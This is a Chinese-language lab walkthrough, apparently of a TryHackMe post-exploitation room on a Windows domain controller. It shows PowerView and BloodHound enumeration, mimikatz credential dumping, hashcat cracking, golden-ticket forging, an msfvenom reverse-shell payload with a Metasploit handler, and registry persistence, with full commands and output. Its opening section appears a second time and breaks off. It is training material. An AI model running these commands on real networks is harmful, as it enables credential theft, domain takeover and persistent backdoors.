在依照教學實作之前,先看看這個lab提供的工具。用linux的ssh連上windows後,用powershell -ep bypass
,進入powershell。接下來移動到Downloads資料夾檢查有什麼工具,然後執行PowerView.ps1
:
controller\administrator@DOMAIN-CONTROLL C:\Users\Administrator>powershell -ep bypass
PS C:\Users\Administrator> cd .\Downloads\
PS C:\Users\Administrator\Downloads> ls
Directory: C:\Users\Administrator\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/14/2020 11:39 AM 1261832 mimikatz.exe
-a---- 5/14/2020 11:41 AM 374625 PowerView.ps1
-a---- 5/14/2020 11:43 AM 973325 SharpHound.ps1
PS C:\Users\Administrator\Downloads> .\PowerView.ps1
接下來用PowerView.ps1的Get-NetUser | select cn
指令來枚舉域用戶:
PS C:\Users\Administrator\Downloads> Get-NetUser | select cn
Get-NetUser : The term 'Get-NetUser' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct
and try again.
At line:1 char:1
+ Get-NetUser | select cn
+ ~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (Get-NetUser:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
但是會出錯。乖乖回到根目錄,用. .\Downloads\PowerView.ps1
來執行反而可以,怪事。總之要注意: 有時在檔案所在目錄內執行反而不行。
PS C:\Users\Administrator\Downloads> cd ..
PS C:\Users\Administrator> . .\Downloads\PowerView.ps1
PS C:\Users\Administrator> Get-NetUser | select cn
cn
--
Administrator
Guest
krbtgt
Machine-1
Admin2
Machine-2
SQL Service
POST{P0W3RV13W_FTW}
sshd
PowerView.ps1也有提供域群組枚舉功能:
PS C:\Users\Administrator> Get-NetGroup -GroupName *admin*
Administrators
Hyper-V Administrators
Storage Replica Administrators
Schema Admins
Enterprise Admins
Domain Admins
Key Admins
Enterprise Key Admins
DnsAdmins
問題: What is the shared folder that is not set by default? PowerView.ps1有提供列出共享目錄的功能,可以看下圖,只有一個共享目錄是沒有說明的,代表不是預設。
PS C:\Users\Administrator> Invoke-ShareFinder
\\Domain-Controller.CONTROLLER.local\ADMIN$ - Remote Admin
\\Domain-Controller.CONTROLLER.local\C$ - Default share
\\Domain-Controller.CONTROLLER.local\IPC$ - Remote IPC
\\Domain-Controller.CONTROLLER.local\NETLOGON - Logon server share
\\Domain-Controller.CONTROLLER.local\Share -
\\Domain-Controller.CONTROLLER.local\SYSVOL - Logon server share
問題: What operating system is running inside of the network besides Windows Server 2019? PowerView.ps1提供列出所有domain內所使用作業系統的指令:
PS C:\Users\Administrator> Get-NetComputer -fulldata | select operatingsystem
operatingsystem
---------------
Windows Server 2019 Standard
Windows 10 Enterprise Evaluation
Windows 10 Enterprise Evaluation
在Get-NetUser | select cn這指令得知flag: POST{P0W3RV13W_FTW}
要安裝就先sudo apt install bloodhound
,接下來輸入以下指令:
┌──(kali㉿kali)-[~]
└─$ sudo neo4j console
Directories in use:
home: /usr/share/neo4j
config: /usr/share/neo4j/conf
logs: /etc/neo4j/logs
plugins: /usr/share/neo4j/plugins
import: /usr/share/neo4j/import
data: /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses: /usr/share/neo4j/licenses
run: /var/lib/neo4j/run
Starting Neo4j.
2023-11-25 02:46:11.290+0000 INFO Starting...
2023-11-25 02:46:12.112+0000 INFO This instance is ServerId{f043050c} (f043050c-22b1-4a63-a54a-4451cee05e3a)
2023-11-25 02:46:14.352+0000 INFO ======== Neo4j 4.4.26 ========
2023-11-25 02:46:17.181+0000 INFO Initializing system graph model for component 'security-users' with version -1 and status UNINITIALIZED
2023-11-25 02:46:17.205+0000 INFO Setting up initial user from defaults: neo4j
2023-11-25 02:46:17.206+0000 INFO Creating new user 'neo4j' (passwordChangeRequired=true, suspended=false)
2023-11-25 02:46:17.255+0000 INFO Setting version for 'security-users' to 3
2023-11-25 02:46:17.259+0000 INFO After initialization of system graph model component 'security-users' have version 3 and status CURRENT
2023-11-25 02:46:17.267+0000 INFO Performing postInitialization step for component 'security-users' with version 3 and status CURRENT
2023-11-25 02:46:17.654+0000 INFO Bolt enabled on localhost:7687.
2023-11-25 02:46:19.194+0000 INFO Remote interface available at http://localhost:7474/
2023-11-25 02:46:19.201+0000 INFO id: 4A4D38694A2B635AED3F9E5C0CD304E1C2141CB7C04AF489709380A05A024F57
2023-11-25 02:46:19.202+0000 INFO name: system
2023-11-25 02:46:19.202+0000 INFO creationDate: 2023-11-25T02:46:15.293Z
2023-11-25 02:46:19.203+0000 INFO Started.
安裝好後可以在kali的程式列去找然後執行,會出現以下畫面。下圖右下方黑框是第一次執行時會有的,要用瀏覽器連本機7474 port來更改帳密:
試試在瀏覽器打7474 port如下圖,原本想使用No authentication,但好像也不行:
只好乖乖設定username/password:
似乎不能用neo4j當密碼,如果真的用了neo4j當密碼,可能還會需要再換一次密碼。
重新啟動程式,輸入剛剛設定的帳密如上圖,可進入以下畫面。
BloodHound的內網拓樸情資蒐集,是先要把自帶的SharpHound的exe或ps1檔案上傳到靶機後執行,再把執行結束產生的zip檔,利用上圖介面載入後顯示。但要注意,剛剛安裝的2023年最新BloodHound,會無法接受TryHackMe靶機上2020年的SharpHound。所以要把剛剛安裝完的BloodHound所自帶SharpHound上傳到靶機,首先先找找在哪裡:
┌──(root㉿kali)-[~]
└─# cd /usr/lib/bloodhound/resources/app/Collectors
┌──(root㉿kali)-[/usr/…/bloodhound/resources/app/Collectors]
└─# ls
AzureHound.md DebugBuilds SharpHound.exe SharpHound.ps1
利用scp上傳,指令如下,10.10.18.32
是靶機的IP。
┌──(root㉿kali)-[/usr/…/bloodhound/resources/app/Collectors]
└─# scp SharpHound.ps1 Administrator@10.10.18.32:SharpHound.ps1
Administrator@10.10.18.32's password:
SharpHound.ps1 :04
這時會上傳到靶機根目錄,要先把它移到Downloads再執行以下指令:
PS C:\Users\Administrator> . .\Downloads\SharpHound.ps1
PS C:\Users\Administrator> Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zi
p
2023-11-24T20:46:32.5516732-08:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of
BloodHound
2023-11-24T20:46:32.7235490-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Ses
sion, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2023-11-24T20:46:32.7391720-08:00|INFORMATION|Initializing SharpHound at 8:46 PM on 11/24/2023
2023-11-24T20:46:32.8172956-08:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for CONTROLLER
.local : Domain-Controller.CONTROLLER.local
2023-11-24T20:46:33.0672993-08:00|INFORMATION|Loaded cache with stats: 62 ID to type mappings.
64 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2023-11-24T20:46:33.0672993-08:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts
, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2023-11-24T20:46:33.2235657-08:00|INFORMATION|Beginning LDAP search for CONTROLLER.local
2023-11-24T20:46:33.2547964-08:00|INFORMATION|Producer has finished, closing LDAP channel
2023-11-24T20:46:33.3016734-08:00|INFORMATION|LDAP channel closed, waiting for consumers
2023-11-24T20:47:03.4735941-08:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 88 MB RAM
2023-11-24T20:47:12.3341448-08:00|INFORMATION|Consumers finished, closing output channel
2023-11-24T20:47:12.3653931-08:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2023-11-24T20:47:12.4747656-08:00|INFORMATION|Status: 104 objects finished (+104 2.666667)/s -- Using 96 MB RAM
2023-11-24T20:47:12.4747656-08:00|INFORMATION|Enumeration finished in 00:00:39.2602245
2023-11-24T20:47:12.5528905-08:00|INFORMATION|Saving cache with stats: 62 ID to type mappings.
64 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2023-11-24T20:47:12.5685176-08:00|INFORMATION|SharpHound Enumeration Completed at 8:47 PM on 11/24/2023! Happy G
raphing!
把靶機生成的東西丟到攻擊機:
scp Administrator@10.10.18.32:20231124204711_loot.zip 20231124204711_loot.zip
開啟攻擊機的bloodhound,點下圖右方的Upload Data,上傳剛剛生成的zip:
這時就會顯示拓樸:
What service is also a domain admin? SQLSERVICE。點擊下圖黑色手指所指的地方即可,不過顯示出來的結果都被這塊面板遮住了,所以也不曉得答案怎麼冒出來的。
What two users are Kerberoastable? SQLSERVICE,KRBTGT。一樣點下圖黑色手指所指的地方即可,會出現答案如下圖右方:
PS C:\Users\Administrator> cd .\Downloads\
PS C:\Users\Administrator\Downloads> dir
Directory: C:\Users\Administrator\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/14/2020 11:39 AM 1261832 mimikatz.exe
-a---- 5/14/2020 11:41 AM 374625 PowerView.ps1
-a---- 11/24/2023 8:02 PM 1308348 SharpHound.ps1
PS C:\Users\Administrator\Downloads> .\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #18362 May 2 2020 16:23:51
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
如上面,找到mimikatz並執行,輸入privilege::debug
,成功後其他的指令才可順利執行。因為這一台是domain controller,所以可以利用lsadump::lsa /patch
指令把域內其他機器的hash給dump出來:
mimikatz # lsadump::lsa /patch
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 2777b7fec870e04dda00cd7260f7bee6
RID : 000001f5 (501)
User : Guest
LM :
NTLM :
RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 5508500012cc005cf7082a9a89ebdfdf
RID : 0000044f (1103)
User : Machine1
LM :
NTLM : 64f12cddaa88057e06a81b54e73b949b
RID : 00000451 (1105)
User : Admin2
LM :
NTLM : 2b576acbe6bcfda7294d6bd18041b8fe
RID : 00000452 (1106)
User : Machine2
LM :
NTLM : c39f2beb3d2ec06a62cb887fb391dee0
RID : 00000453 (1107)
User : SQLService
LM :
NTLM : f4ab68f27303bcb4024650d8fc5f973a
RID : 00000454 (1108)
User : POST
LM :
NTLM : c4b0e1b10c7ce2c4723b4e2407ef81a2
RID : 00000457 (1111)
User : sshd
LM :
NTLM : 2777b7fec870e04dda00cd7260f7bee6
RID : 000003e8 (1000)
User : DOMAIN-CONTROLL$
LM :
NTLM : 9ec2cec8b80ef3bc2f613798e502b476
RID : 00000455 (1109)
User : DESKTOP-2$
LM :
NTLM : 3c2d4759eb9884d7a935fe71a8e0f54c
RID : 00000456 (1110)
User : DESKTOP-1$
LM :
NTLM : 7d33346eeb11a4f12a6c201faaa0d89a
What is the Machine1 password? Password1。這一題是把Machine1的NTLM(64f1xxx的)拿去用hashcat搭配rockyou字典檔破密:
┌──(root㉿kali)-[/home/kali/THM/Post-Exploitation]
└─# hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i5-10400 CPU @ 2.90GHz, 1435/2935 MB (512 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
64f12cddaa88057e06a81b54e73b949b:Password1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 64f12cddaa88057e06a81b54e73b949b
Time.Started.....: Sat Nov 25 01:02:41 2023 (1 sec)
Time.Estimated...: Sat Nov 25 01:02:42 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 11116 H/s (0.04ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3584/14344385 (0.02%)
Rejected.........: 0/3584 (0.00%)
Restore.Point....: 3328/14344385 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: asdf1234 -> fresa
Hardware.Mon.#1..: Util:100%
Started: Sat Nov 25 00:57:26 2023
Stopped: Sat Nov 25 01:02:43 2023
What is the Machine2 Hash? c39f2beb3d2ec06a62cb887fb391dee0
接下來是dump出krbtgt的相關資訊(如sid、md5、NTLM等),以便之後創造golden ticket:
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
RID : 000001f6 (502)
User : krbtgt
* Primary
NTLM : 5508500012cc005cf7082a9a89ebdfdf
LM :
Hash NTLM: 5508500012cc005cf7082a9a89ebdfdf
ntlm- 0: 5508500012cc005cf7082a9a89ebdfdf
lm - 0: 372f405db05d3cafd27f8e6a4a097b2c
* WDigest
01 49a8de3b6c7ae1ddf36aa868e68cd9ea
02 7902703149b131c57e5253fd9ea710d0
03 71288a6388fb28088a434d3705cc6f2a
04 49a8de3b6c7ae1ddf36aa868e68cd9ea
05 7902703149b131c57e5253fd9ea710d0
06 df5ad3cc1ff643663d85dabc81432a81
07 49a8de3b6c7ae1ddf36aa868e68cd9ea
08 a489809bd0f8e525f450fac01ea2054b
09 19e54fd00868c3b0b35b5e0926934c99
10 4462ea84c5537142029ea1b354cd25fa
11 6773fcbf03fd29e51720f2c5087cb81c
12 19e54fd00868c3b0b35b5e0926934c99
13 52902abbeec1f1d3b46a7bd5adab3b57
14 6773fcbf03fd29e51720f2c5087cb81c
15 8f2593c344922717d05d537487a1336d
16 49c009813995b032cc1f1a181eaadee4
17 8552f561e937ad7c13a0dca4e9b0b25a
18 cc18f1d9a1f4d28b58a063f69fa54f27
19 12ae8a0629634a31aa63d6f422a14953
20 b6392b0471c53dd2379dcc570816ba10
21 7ab113cb39aa4be369710f6926b68094
22 7ab113cb39aa4be369710f6926b68094
23 e38f8bc728b21b85602231dba189c5be
24 4700657dde6382cd7b990fb042b00f9e
25 8f46d9db219cbd64fb61ba4fdb1c9ba7
26 36b6a21f031bf361ce38d4d8ad39ee0f
27 e69385ee50f9d3e105f50c61c53e718e
28 ca006400aefe845da46b137b5b50f371
29 15a607251e3a2973a843e09c008c32e3
* Kerberos
Default Salt : CONTROLLER.LOCALkrbtgt
Credentials
des_cbc_md5 : 64ef5d43922f3b5d
* Kerberos-Newer-Keys
Default Salt : CONTROLLER.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 8e544cabf340db750cef9f5db7e1a2f97e465dffbd5a2dc64246bda3c75fe53d
aes128_hmac (4096) : 7eb35bddd529c0614e5ad9db4c798066
des_cbc_md5 (4096) : 64ef5d43922f3b5d
* NTLM-Strong-NTOWF
Random Value : 666caaaaf30081f30211bd7fa445fec4
mimikatz創建golden ticket之指令(一):
mimikatz # kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-9866
96166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
User : Administrator
Domain : controller.local (CONTROLLER)
SID : S-1-5-21-849420856-2351964222-986696166
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 5508500012cc005cf7082a9a89ebdfdf - rc4_hmac_nt
Lifetime : 11/24/2023 10:49:34 PM ; 11/21/2033 10:49:34 PM ; 11/21/2033 10:49:34 PM
-> Ticket : ticket.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
和上面是相同的指令,但是多了ticket名稱。接下來用kerberos::ptt test.kiribi
指令試試ptt(pass the ticket)。
mimikatz # kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-9866
96166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500 /ticket:test.kiribi
User : Administrator
Domain : controller.local (CONTROLLER)
SID : S-1-5-21-849420856-2351964222-986696166
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 5508500012cc005cf7082a9a89ebdfdf - rc4_hmac_nt
-> Ticket : test.kiribi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
mimikatz # kerberos::ptt test.kiribi
* File: 'test.kiribi': OK
mimikatz # exit
Bye!
PS C:\Users\Administrator\Downloads> klist
Current LogonId is 0:0x24ffe0
Cached Tickets: (1)
#0> Client: Administrator @ controller.local
Server: krbtgt/controller.local @ controller.local
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
Start Time: 11/24/2023 23:06:09 (local)
End Time: 11/21/2033 23:06:09 (local)
Renew Time: 11/21/2033 23:06:09 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
(TODO)導入成功後可獲取域管權限?
What tool allows to view the event logs? Event Viewer
What is the SQL Service password? MYpassword123#
┌──(root㉿kali)-[/home/kali/THM/Post-Exploitation]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.18.71.25 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
┌──(root㉿kali)-[/home/kali/THM/Post-Exploitation]
└─# scp shell.exe Administrator@10.10.9.214:shell.exe
The authenticity of host '10.10.9.214 (10.10.9.214)' can't be established.
ED25519 key fingerprint is SHA256:WGyVsv2zGcSJEHIwp99EmFf5p6Q49BhKyHfmoVOGCAg.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:31: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.9.214' (ED25519) to the list of known hosts.
Administrator@10.10.9.214's password:
shell.exe 100% 72KB 72.1KB/s 00:00
上面是生成後門的指令,並上傳至靶機(10.10.9.214),再來是進入靶機的powershell確認是否有上傳成功,的確有一個shell的執行檔:
controller\administrator@DOMAIN-CONTROLL C:\Users\Administrator>powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator> ls
Directory: C:\Users\Administrator
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 5/13/2020 8:01 PM 3D Objects
d-r--- 5/13/2020 8:01 PM Contacts
d-r--- 5/13/2020 8:01 PM Desktop
d-r--- 5/14/2020 8:27 PM Documents
d-r--- 10/3/2020 8:33 AM Downloads
d-r--- 5/13/2020 8:01 PM Favorites
d-r--- 5/13/2020 8:01 PM Links
d-r--- 5/13/2020 8:01 PM Music
d-r--- 5/13/2020 8:01 PM Pictures
d-r--- 5/13/2020 8:01 PM Saved Games
d-r--- 5/13/2020 8:01 PM Searches
d-r--- 5/13/2020 8:01 PM Videos
-a---- 11/25/2023 12:18 AM 73802 shell.exe
PS C:\Users\Administrator>
接下來啟動攻擊機的metasploit,利用exploit/multi/handler
模組來聽port:
┌──(root㉿kali)-[/home/kali/THM/Post-Exploitation]
└─# msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.18.71.25
LHOST => 10.18.71.25
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
靶機要執行shell:
PS C:\Users\Administrator> ls
Directory: C:\Users\Administrator
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 5/13/2020 8:01 PM 3D Objects
d-r--- 5/13/2020 8:01 PM Contacts
d-r--- 5/13/2020 8:01 PM Desktop
d-r--- 5/14/2020 8:27 PM Documents
d-r--- 10/3/2020 8:33 AM Downloads
d-r--- 5/13/2020 8:01 PM Favorites
d-r--- 5/13/2020 8:01 PM Links
d-r--- 5/13/2020 8:01 PM Music
d-r--- 5/13/2020 8:01 PM Pictures
d-r--- 5/13/2020 8:01 PM Saved Games
d-r--- 5/13/2020 8:01 PM Searches
d-r--- 5/13/2020 8:01 PM Videos
-a---- 11/25/2023 12:18 AM 73802 shell.exe
PS C:\Users\Administrator> . .\shell.exe
這時可以發現攻擊機的shell彈回來了:
┌──(root㉿kali)-[/home/kali/THM/Post-Exploitation]
└─# msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.18.71.25
LHOST => 10.18.71.25
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.18.71.25:4444
[*] Sending stage (175686 bytes) to 10.10.9.214
[*] Meterpreter session 1 opened (10.18.71.25:4444 -> 10.10.9.214:49826) at 2023-11-25 03:23:44 -0500
meterpreter >
用bg隱藏目前shell,可以用msf的exploit/windows/local/persistence
模組來持久化,指令如下。
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/persistence
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence) > set session 1
session => 1
msf6 exploit(windows/local/persistence) > run
[*] Running persistent module against DOMAIN-CONTROLL via session ID: 1
[+] Persistent VBS script written on DOMAIN-CONTROLL to C:\Users\Administrator\AppData\Local\Temp\WeIbKKpsuYFdt.vbs
[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\yyQdMfeoZAp
[+] Installed autorun on DOMAIN-CONTROLL as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\yyQdMfeoZAp
[*] Clean up Meterpreter RC file: /root/.msf4/logs/persistence/DOMAIN-CONTROLL_20231125.2834/DOMAIN-CONTROLL_20231125.2834.rc
持久化的好處,是如果靶機掉線,攻擊機可以很快再連回來,如下圖:
]]>在依照教學實作之前,先看看這個lab提供的工具。用linux的ssh連上windows後,用powershell -ep bypass
,進入powershell。接下來移動到Downloads資料夾檢查有什麼工具,然後執行PowerView.ps1
:
controller\administrator@DOMAIN-CONTROLL C:\Users\Administrator>powershell -ep bypass
PS C:\Users\Administrator> cd .\Downloads\
PS C:\Users\Administrator\Downloads> ls
Directory: C:\Users\Administrator\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/14/2020 11:39 AM 1261832 mimikatz.exe
-a---- 5/14/2020 11:41 AM 374625 PowerView.ps1
-a---- 5/14/2020 11:43 AM 973325 SharpHound.ps1
PS C:\Users\Administrator\Downloads> .\PowerView.ps1
接下來用PowerView.ps1的Get-NetUser | select cn
指令來枚舉域用戶:
PS C:\Users\Administrator\Downloads> Get-NetUser | select cn
Get-NetUser : The term 'Get-NetUser' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct
and try again.
At line:1 char:1
+ Get-NetUser | select cn
+ ~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (Get-NetUser:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
但是會出錯。乖乖回到根目錄,用. .\Downloads\PowerView.ps1
來執行反而可以,怪事。總之要注意: 有時在檔案所在目錄內執行反而不行。
PS C:\Users\Administrator\Downloads> cd ..
PS C:\Users\Administrator> . .\Downloads\PowerView.ps1
PS C:\Users\Administrator> Get-NetUser | select cn
cn
--
Administrator
Guest
krbtgt
Machine-1
Admin2
Machine-2
SQL Service
POST{P0W3RV13W_FTW}
sshd
PowerView.ps1也有提供域群組枚舉功能:
PS C:\Users\Administrator> Get-NetGroup -GroupName *admin*
Administrators
Hyper-V Administrators
Storage Replica Administrators
Schema Admins
Enterprise Admins
Domain Admins
Key Admins
Enterprise Key Admins
DnsAdmins
問題: What is the shared folder that is not set by default? PowerView.ps1有提供列出共享目錄的功能,可以看下圖,只有一個共享目錄是沒有說明的,代表不是預設。
PS C:\Users\Administrator> Invoke-ShareFinder
\\Domain-Controller.CONTROLLER.local\ADMIN$ - Remote Admin
\\Domain-Controller.CONTROLLER.local\C$ - Default share
\\Domain-Controller.CONTROLLER.local\IPC$ - Remote IPC
\\Domain-Controller.CONTROLLER.local\NETLOGON - Logon server share
\\Domain-Controller.CONTROLLER.local\Share -
\\Domain-Controller.CONTROLLER.local\SYSVOL - Logon server share
問題: What operating system is running inside of the network besides Windows Server 2019? PowerView.ps1提供列出所有domain內所使用作業系統的指令:
PS C:\Users\Administrator> Get-NetComputer -fulldata | select operatingsystem
operatingsystem
---------------
Windows Server 2019 Standard
Windows 10 Enterprise Evaluation
Windows 10 Enterprise Evaluation
在Get-NetUser | select cn這指令得知flag: POST{P0W3RV13W_FTW}
要安裝就先sudo apt install bloodhound
,接下來輸入以下指令:
┌──(kali㉿kali)-[~]
└─$ sudo neo4j console
Directories in use:
home: /usr/share/neo4j
config: /usr/share/neo4j/conf
logs: /etc/neo4j/logs
plugins: /usr/share/neo4j/plugins
import: /usr/share/neo4j/import
data: /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses: /usr/share/neo4j/licenses
run: /var/lib/neo4j/run
Starting Neo4j.
2023-11-25 02:46:11.290+0000 INFO Starting...
2023-11-25 02:46:12.112+0000 INFO This instance is ServerId{f043050c} (f043050c-22b1-4a63-a54a-4451cee05e3a)
2023-11-25 02:46:14.352+0000 INFO ======== Neo4j 4.4.26 ========
2023-11-25 02:46:17.181+0000 INFO Initializing system graph model for component 'security-users' with version -1 and status UNINITIALIZED
2023-11-25 02:46:17.205+0000 INFO Setting up initial user from defaults: neo4j
2023-11-25 02:46:17.206+0000 INFO Creating new user 'neo4j' (passwordChangeRequired=true, suspended=false)
2023-11-25 02:46:17.255+0000 INFO Setting version for 'security-users' to 3
2023-11-25 02:46:17.259+0000 INFO After initialization of system graph model component 'security-users' have version 3 and status CURRENT
2023-11-25 02:46:17.267+0000 INFO Performing postInitialization step for component 'security-users' with version 3 and status CURRENT
2023-11-25 02:46:17.654+0000 INFO Bolt enabled on localhost:7687.
2023-11-25 02:46:19.194+0000 INFO Remote interface available at http://localhost:7474/
2023-11-25 02:46:19.201+0000 INFO id: 4A4D38694A2B635AED3F9E5C0CD304E1C2141CB7C04AF489709380A05A024F57
2023-11-25 02:46:19.202+0000 INFO name: system
2023-11-25 02:46:19.202+0000 INFO creationDate: 2023-11-25T02:46:15.293Z
2023-11-25 02:46:19.203+0000 INFO Started.
安裝好後可以在kali的程式列去找然後執行,會出現以下畫面。下圖右下方黑框是第一次執行時會有的,要用瀏覽器連本機7474 port來更改帳密:
試試在瀏覽器打7474 port如下圖,原本想使用No authentication,但好像也不行:
只好乖乖設定username/password:
似乎不能用neo4j當密碼,如果真的用了neo4j當密碼,可能還會需要再換一次密碼。
重新啟動程式,輸入剛剛設定的帳密如上圖,可進入以下畫面。
BloodHound的內網拓樸情資蒐集,是先要把自帶的SharpHound的exe或ps1檔案上傳到靶機後執行,再把執行結束產生的zip檔,利用上圖介面載入後顯示。但要注意,剛剛安裝的2023年最新BloodHound,會無法接受TryHackMe靶機上2020年的SharpHound。所以要把剛剛安裝完的BloodHound所自帶SharpHound上傳到靶機,首先先找找在哪裡:
┌──(root㉿kali)-[~]
└─# cd /usr/lib/bloodhound/resources/app/Collectors
┌──(root㉿kali)-[/usr/…/bloodhound/resources/app/Collectors]
└─# ls
AzureHound.md DebugBuilds SharpHound.exe SharpHound.ps1
利用scp上傳,指令如下,10.10.18.32
是靶機的IP。
┌──(root㉿kali)-[/usr/…/bloodhound/resources/app/Collectors]
└─# scp SharpHound.ps1 Administrator@10.10.18.32:SharpHound.ps1
Administrator@10.10.18.32's password:
SharpHound.ps1 :04
這時會上傳到靶機根目錄,要先把它移到Downloads再執行以下指令:
PS C:\Users\Administrator> . .\Downloads\SharpHound.ps1
PS C:\Users\Administrator> Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zi
p
2023-11-24T20:46:32.5516732-08:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of
BloodHound
2023-11-24T20:46:32.7235490-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Ses
sion, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2023-11-24T20:46:32.7391720-08:00|INFORMATION|Initializing SharpHound at 8:46 PM on 11/24/2023
